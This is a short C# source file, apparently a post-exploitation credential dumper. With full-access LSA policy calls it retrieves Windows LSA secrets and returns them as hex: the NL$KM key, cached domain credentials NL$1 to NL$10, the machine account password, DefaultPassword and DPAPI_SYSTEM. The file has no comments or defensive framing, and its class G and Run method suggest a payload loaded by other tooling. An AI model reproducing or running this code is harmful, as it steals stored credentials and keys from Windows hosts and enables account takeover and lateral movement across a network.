using System;
using System.Runtime.InteropServices;

public class G {
  [StructLayout(LayoutKind.Sequential)]
  struct LSA_UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; }
  [StructLayout(LayoutKind.Sequential)]
  struct LSA_OBJECT_ATTRIBUTES { public int Length; public IntPtr RootDirectory; public IntPtr ObjectName; public int Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; }

  [DllImport("advapi32.dll", SetLastError=true)]
  static extern uint LsaOpenPolicy(ref LSA_UNICODE_STRING SystemName, ref LSA_OBJECT_ATTRIBUTES ObjectAttributes, uint DesiredAccess, out IntPtr PolicyHandle);
  [DllImport("advapi32.dll", SetLastError=true)]
  static extern uint LsaRetrievePrivateData(IntPtr PolicyHandle, ref LSA_UNICODE_STRING KeyName, out IntPtr PrivateData);
  [DllImport("advapi32.dll", SetLastError=true)]
  static extern uint LsaClose(IntPtr PolicyHandle);
  [DllImport("advapi32.dll", SetLastError=true)]
  static extern uint LsaFreeMemory(IntPtr Buffer);

  public static string Run(){
    string o="";
    LSA_UNICODE_STRING sys = new LSA_UNICODE_STRING();
    LSA_OBJECT_ATTRIBUTES oa = new LSA_OBJECT_ATTRIBUTES();
    oa.Length = Marshal.SizeOf(typeof(LSA_OBJECT_ATTRIBUTES));
    IntPtr pol;
    uint st = LsaOpenPolicy(ref sys, ref oa, 0x000F0FFF, out pol);
    o += "open="+st+";";
    if(st!=0) return o;
    string[] names = new string[]{"NL$KM","NL$1","NL$2","NL$3","NL$4","NL$5","NL$6","NL$7","NL$8","NL$9","NL$10","$MACHINE.ACC","DefaultPassword","DPAPI_SYSTEM"};
    foreach(string name in names){
      LSA_UNICODE_STRING key = new LSA_UNICODE_STRING();
      key.Buffer = Marshal.StringToHGlobalUni(name);
      key.Length = (ushort)(name.Length*2);
      key.MaximumLength = (ushort)((name.Length+1)*2);
      IntPtr pd;
      uint r = LsaRetrievePrivateData(pol, ref key, out pd);
      if(r==0 && pd!=IntPtr.Zero){
        LSA_UNICODE_STRING os = (LSA_UNICODE_STRING)Marshal.PtrToStructure(pd, typeof(LSA_UNICODE_STRING));
        int n = os.Length;
        if(n>0){
          byte[] buf = new byte[n];
          Marshal.Copy(os.Buffer, buf, 0, n);
          o += name+"["+n+"]="+BitConverter.ToString(buf).Replace("-","")+";";
        } else { o += name+"_empty;"; }
        LsaFreeMemory(pd);
      } else { o += name+"_err="+r+";"; }
      Marshal.FreeHGlobal(key.Buffer);
    }
    LsaClose(pol);
    return o;
  }
}